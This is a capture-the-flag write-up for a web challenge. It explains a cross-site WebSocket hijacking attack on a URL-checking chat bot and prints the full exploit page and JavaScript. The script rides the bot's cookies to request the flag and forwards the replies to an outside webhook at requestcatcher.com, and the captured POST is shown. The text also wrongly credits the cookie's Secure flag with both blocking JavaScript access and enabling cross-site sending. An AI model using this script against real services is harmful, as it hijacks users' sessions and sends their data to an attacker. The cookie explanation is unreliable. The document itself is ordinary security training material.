Wembsoncket – author: tm – web

Explanation

The site is a chat interface with a bot that communicates over WebSockets. When you send it a URL, it will check whether that site is UP or DOWN. Our goal is to capture the bot’s admin cookie so that we can issue the /getFlag command.

Problem: the cookie’s attributes prevent us from reading it in JavaScript.

set-cookie token=<JWT>; Path=/; HttpOnly; Secure; SameSite=None

The Secure flag stops us from accessing the cookie via document.cookie in JS.

Solution: redirect the bot itself to a page we control. On that page, our script automatically sends the /getFlag command over the WebSocket, and then forwards whatever the bot replies (including the flag) to our webhook. Even though we can’t read the cookie in JS, the browser still sends it along with each WebSocket request thanks to the Secure flag.

In practice this results in a POST like:

POST /onmessage HTTP/1.1
Host: totototo.requestcatcher.com
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 69
Content-Type: text/plain;charset=UTF-8
Origin: https://tim-xd.github.io
Referer: https://tim-xd.github.io/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
User-Agent: puppeteer

{"message":"Flag: byuctf{CSWSH_1s_a_b1g_acr0nym}","sender":"URL Bot"}

Sources

The attack page is hosted on GitHub Pages, and the webhook endpoint used is https://totototo.requestcatcher.com/.

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Wembsoncket Exploit</title>
  </head>
  <body>
    Hello!
    <script src="index.js"></script>
  </body>
</html>

index.js

const WEBHOOK = "https://totototo.requestcatcher.com";

function webhook(path = "", data = null) {
  let req = new XMLHttpRequest();
  req.open("POST", WEBHOOK + path, false);
  req.withCredentials = true;
  req.send(data);
}

let socket;

// Initialize WebSocket connection
function initWebSocket() {
  socket = new WebSocket("wss://wembsoncket.chal.cyberjousting.com");

  socket.onopen = () => {};

  socket.onmessage = (event) => {
    // Ask the bot for the flag
    sendMessage({ sender: "user", message: "/getFlag" });
    // Forward the bot's response (including the flag) to our webhook
    webhook("/onmessage", event.data);
  };

  socket.onclose = () => {};

  socket.onerror = (error) => {};
}

function sendMessage(data) {
  socket.send(JSON.stringify(data));
}

// Kick off the WebSocket connection as soon as the page loads
initWebSocket();